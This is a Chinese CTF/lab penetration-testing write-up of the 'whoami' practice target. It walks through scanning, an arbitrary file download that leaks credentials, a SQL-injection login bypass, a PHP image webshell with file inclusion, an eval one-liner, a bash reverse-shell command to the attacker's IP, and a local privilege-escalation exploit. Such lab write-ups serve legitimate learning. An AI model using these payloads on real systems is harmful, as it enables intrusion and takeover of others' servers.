whoami靶场渗透测试
文章标题
- 测试环境
- 信息收集
- 获取靶机ip
- 扫描端口
- 扫描目录
- 开始渗透
- 文件下载漏洞
- 获取数据库账号密码
- 知晓sql注入绕过方式
- 登录前端
- 文件上传+包含漏洞getshell
- 失败的提权
- 方法一:ssh登录
- 方法二:反弹shell
- 方法三:菜刀
测试环境
靶机:云演考试题,whoami靶机(源码没有找到没有在本地搭)
攻击机:kali
信息收集
开始时访问网站发现啥信息也没有
获取靶机ip
windows 终端 ping 即可
扫描端口
kali 机使用 nmap -sS + ip
扫描得到靶机开放端口
扫描目录
一开始用御剑扫,字典太小了导致啥也没扫到,robots.txt 里面的 flag 提交上去还是错的后来用 kali 的 dirb + url
扫描,扫到了有一个 www
目录,然后呢用 dirb + url
扫这个目录又扫不出东西了
说是这么说,还是扫到东西了的,最关键的当属phpmy
目录,images
和upload_images
咱都没权限访问
于是又转到御剑,发现文件都藏在这目录下了
开始渗透
首先访问 www
尝试进行sql注入攻击,测试语句为万能密码:’ or 1=1 --
后续还尝试了一些弱口令以及暴力破解,但测试结果都是try again。不知道过滤规则暂时放弃sql注入。
接着一个个访问此目录下的文件,发现其中 head.php、show.php、c.php
分别是照片、空白、空白。而 add.php
是文件上传页面,但是尝试上传图片之后并没有回显地址,暂时作罢。值得注意的是 test.php
,乍一看没啥,但是查看网页源代码发现
文件下载漏洞
'file' parameter is empty. Please provide file path in 'file' parameter
提示“file”参数为空,请在“file”参数中提供文件路径。这是我们打开新世界大门的关键。
给test.php页面一个file参数
首先考虑是GET方式:http://28e7134f.lxctf.net/www/test.php?file=/etc/passwd
,无果
其次考虑POST方式,使用hackbar页面会显示下载该文件。结合burp使用可以直接看到文件的内容:
获取数据库账号密码
由上述测试可知,test.php存在文件下载漏洞。我们如法炮制的看看其他文件内容,比如我们通过下载 c.php
看到了数据库的账号whoami
,密码whoami_hacker
,以及数据库名ica_lab
数据库登录后台文件是啥呢?就是前面扫到的phpmy,登陆访问
看到ica_lab数据库,访问auth看到有一个账号密码。猜测是前面的登陆密码。
同时发现了flag,但是这个也是错的。
知晓sql注入绕过方式
同样利用前面的文件下载漏洞,下载www目录下的index.php文件,它涉及到前端sql注入的绕过方式
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
这边str_replace的作用是将字符串 \ ’ 替换为空,因此构造SQL注入登录payload时,必须含有 \ ’ 字符串,否则会报错。urldecode的作用是将输入解码。我们在之前的payload:’ or 1=1-- 做出修改,在最后增加 \ ',str_replace会将这个\ ’ 替换为空,所以相当于没加。
登录前端
此刻我们就有两种方法登录了
由于我们在数据库中获取了账号密码,直接登陆即可
第二种利用上述的sql注入,账号密码均输入' or 1=1 -- /'
,也可成功登录(这边我靶机到期重启了一下,域名换了,不过无伤大雅)
文件上传+包含漏洞getshell
登陆成功进入 panel.php
页面,首先查看show users模块,发现与数据库中的users模块一致
再看看add user模块,让我们上传文件,我们跟前面一样利用任意文件下载看看它的后端代
if(isset($_POST['continue']))
{$dir=getcwd();$choice=str_replace('./','',$_POST['load']); if($choice==='add'){include($dir.'/'.$choice.'.php');die();}if($choice==='show'){ include($dir.'/'.$choice.'.php');die();}else{include($dir.'/'.$_POST['load']);}
}
通过代码审计可知此文件存在文件包含漏洞,可以利用文件上传+包含的思路getshell
其次观察到,只允许我们上传图片类的文件,属于白名单问题,可以利用图片马
if(isset($_POST['upload']))
{$name=mysqli_real_escape_string($conn,$_POST['name']);$address=mysqli_real_escape_string($conn,$_POST['address']);$id=mysqli_real_escape_string($conn,$_POST['id']);if(!empty($_FILES['image']['name'])){$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);$image=array('jpeg','jpg','gif','png');if(in_array($r,$image)){$finfo = @new finfo(FILEINFO_MIME); $filetype = @$finfo->file($_FILES['image']['tmp_name']);if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype )){if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name'])){echo "Uploaded successfully ";$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; mysqli_query($conn, $update); }}else{echo "<br>i told you dear, only png,jpg and gif file are allowed";}}else{echo "<br>only png,jpg and gif file are allowed"; }
}
随便找一张jpg图片,用010 editor在图片末尾加上
<?php system($_GET['cmd']); ?>
之后上传文件,显示成功,且根据前面得到的目录,不难猜测应该是保存在uploaded_images
目录下
来测试一下文件到底有没有成功包含,使用burp,在URL的post请求中加入POST /panel.php?cmd=cat%20/etc/passwd
,正文中加入load=uploaded_images/ma.jpg&continue=continue
可以看到命令已经成功执行。想想怎么用菜刀链接呢?根据前面可知照片是以POST访问的,而菜刀只能以GET访问,所以菜刀是不能连接这个图片马的。
换个思路,在之前图片马的基础上,写入一句话文件,菜刀连接一句话文件。使用burp执行命令,直接以POST方式写一句到uploaded_images
下的webshell.php
要注意的是一句话要通过url编码,echo '<?php @eval($_POST['cmd']);?>' >> uploaded_images/webshell.php
再次访问图片马 cat uplaoded_images/webshell.php
(同样经过url编码)发现确实写入了之后利用菜刀成功连接
可以在根目录下找到flag(这次是真的flag)
失败的提权
为什么说是失败的提权,因为我用的这三种方法都没有成功(哭)
方法一:ssh登录
由前面的靶机端口可探测到22端口,意味着只需要得到主机的账号密码就可以成功了
又联想到PHP默认配置文件是config.inc.php
,系统路径结合phpmy
(这边我都试了一下,发现在phpmy下)
同样利用任意文件下载phpmy/config.inc.php,直接查看账户信息
得到用户名为root
,密码为roottoor
,尝试连接
连接失败了,有两个原因:
1、远程服务器没有添加公钥(无法认证)
2、远程服务器公钥文件夹权限错误(.ssh
和.ssh/authorized_keys
需要保证只有用户自己有权限,否则验证无效)
由于这俩都是指向靶机,我在菜刀里也没找到这俩文件,所以放弃这种方法。但至少我们获取了root的账号密码。
方法二:反弹shell
kali命令行里输入nc -lvnp 6666开始监听,同时burp的post请求中执行echo “bash -i >& /dev/tcp/192.168.113.130/6666 0>&1” | bash
(我kali机的IP地址为192.168.113.130),同样要先经过URL编码才能发送。
kali监听
POST发送反弹shell命令
遗憾的是,kali机并没有反弹会话…
我真傻,真的,我单单学者如何反弹shell,却没注意它的前提。前提是攻击机在公网ip,但是我的kali机是在内网的,靶机反弹的shell找不到在内网的kali机,所以就监听不到任何东西了…
由于我也是才接触渗透提权这块,还不是很了解,所以就没有找到很好的解决方法(或许可以找一个公网IP?)。
方法三:菜刀
在上述使用菜刀连接后,利用其自带的虚拟终端功能,查看系统内核版本,寻找提权exp。命令为uanme -a
和cat /etc/issue
可以在kali机上寻找与版本对应的Ubuntu本地提权漏洞exp
去官网下载exp后将文件导入菜刀
赋予执行权限 chmod 777 37292.c
;编译exp gcc 37292.c -o exp
;执行exp,提权至root
但最后还是失败了…不知道啥原因
麻了麻了这个提权搞了好久一直不成功,到最后也没有找到一种成功的方法。针对这个靶场的渗透就先做到这里,毕竟是第一次就一个靶场进行完整的渗透,在这个过程中也学到了很多之前或忽略或遗忘的知识,以及很多新的知识。后续会重点关注如何提权,会慢慢学习的XoX
内容已同步更新至lbw的小窝
whoami靶场渗透测试相关推荐
- Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)
Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权) 靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/ 下载将其导入VMware ...
- Vulnhub靶场渗透测试系列DC-7(跳出框框打开脑洞 drush更改drupal的admin账户密码)
Vulnhub靶场渗透测试系列DC-7(跳出框框打开脑洞 drush更改drupal的admin账户密码) 靶机下载地址:https://www.vulnhub.com/entry/dc-7,356/ ...
- Vulnhub靶场渗透测试系列DC-2(wpscan使用和git提权)
Vulnhub靶场渗透测试系列DC-2(wpscan使用和git提权) 靶机地址:https://www.five86.com/dc-2.html 下载靶机将其导入到VMware,然后设置网络模式为N ...
- 渗透测试php靶场,渗透测试靶场初体验
声明本文仅供学习和研究,由于传播.利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,海青实验室及文章作者不承担任何责任. 安全狗海青实验室拥有此文章的修改和解释权,如欲转载 ...
- DC系列漏洞靶场-渗透测试学习复现(DC-1)
最近闲着冲浪玩发现了DC系列漏洞靶场(下载了8个靶场:DC-1到DC-8),从信息收集到最后拿到超级管理员权限,可以说几乎贯穿了渗透测试的每一步,寻找一个个flag,通过flag中的指引内容,帮助我们 ...
- CTF-Anubis HackTheBox 渗透测试(二)
大家好,我是你们好朋友小峰.预计从今天开始,陆陆续续为大家推出 CTF-Horizontall HackTheBox 系列文章. 0x01 简介 Anubis是由作者4ndr34z在Hac ...
- 掌握渗透测试,从Web漏洞靶场搭建开始
摘要:漏洞靶场,不仅可以帮助我们锻炼渗透测试能力.可以帮助我们分析漏洞形成机理.更可以学习如何修复提高代码能力,同时也可以帮助我们检测各种各样漏洞扫描器的效果. 本文分享自华为云社区<Web漏洞 ...
- 【网络安全学习】渗透测试篇01-DVWA靶场环境搭建教程
渗透测试:通过经授权的模拟攻击,发现存在的漏洞,并以此对网络.主机.应用及数据的安全性进行评估. 靶场作用:在合法的环境下进行网络安全学习与演练 目录 为什么写这篇文章? 介绍及注意事项 环境搭建 1 ...
- 完整的渗透测试靶场通关
完整的渗透测试实例 作者:Slaine 编辑日期:2021.6.6 流程目录 前言 记得在2021年初就通关的这个的内网渗透靶场,只不过做完很久都后没怎么管,然后就去某CTF站刷了好一阵子题,排名从两 ...
最新文章
- ppt转换成pdf转换器免费版
- linux数字大小判断,if 判断两个数值大小--多分支if语句实现对参数的严格判断
- log4j.xml如何配置
- 文档的管理计算机,如何使用FTP自动同步备份电脑文件数据?
- WEB入门实践-张晨光-专题视频课程
- 这半年来的飞秋官网磕磕碰碰
- 【报告分享】2019年中国智能门锁发展与应用白皮书.pdf
- Wannafly挑战赛28
- 多项logistic回归系数解释_逻辑回归logistic(含python代码)
- CentOS 编译运行 DPDK 19.11 流程
- 安卓软件开发需要学什么你知道吗?
- 音视频系列--H264编解码总结
- 利用Python在互动吧网站自动抢票实战分析!你学废了吗
- 计算机网络:BGP路由协议
- 再见 HTTP?10 分钟手把手教会你将网站切换到 HTTPS,安全有保障,yyds!
- linux 图形化创建文件,Arronax - 在Ubuntu中创建桌面启动器的图形工具
- 【学习】蓝桥杯嵌入式:第七届预赛试题—液位检测告警系统
- 3、Linux 远程登录工具
- Sami Haddadin:研发「会痛」机器人,让人机交互更安全|42问AI与机器人未来
- java 点聚weboffice_对点聚weboffice插件的使用说明
热门文章
- 全国计算机等级考试 考务会,3月24-26日:2018年上半年全国计算机等级考试开始!...
- 全局描述表GDT、任务状态段TSS、局部描述表LDT之间的关系
- Charles手机代理设置
- Ditto--局域网共享剪切版--剪切拓展工具
- selenium实现自动勾选淘宝购物车 并支付
- 如何写出高质量的技术文章?
- MQTT协议:Retain (保留消息)功能分析小结
- 国产爱情片的“一锤子”买卖应该换个模式了
- php think migrate,TP5 数据库迁移工具 migrate 教程
- 单引号、双引号、不加引号和反引号